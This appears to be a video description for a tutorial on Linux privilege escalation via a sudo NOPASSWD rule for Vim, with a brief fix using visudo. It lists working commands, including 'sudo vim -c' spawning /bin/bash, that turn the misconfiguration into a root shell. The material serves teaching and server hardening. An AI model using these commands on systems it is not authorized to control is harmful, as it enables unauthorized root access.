Linux Privilege Escalation via Vim — sudo Misconfiguration | RootLevel

⚠️ EDUCATIONAL PURPOSE ONLY — All demos performed on a personal virtual machine.

In this video, I show how attackers exploit sudo misconfigurations to escalate privileges via Vim — and how to protect your Linux server against this.

We cover:
[✓] What is privilege escalation?
[✓] How to find sudo misconfigurations (sudo -l)
[✓] Exploiting vim via sudo NOPASSWD
[✓] Getting root shell from vim
[✓] How to fix and prevent this vulnerability

⚡ Commands used in this video:
sudo -l
sudo vim -c ':!whoami'
sudo vim -c ':!id'
sudo vim -c ':!/bin/bash'

🔒 How to fix:
# Remove dangerous sudo rules from /etc/sudoers
# Use visudo to edit safely:
sudo visudo

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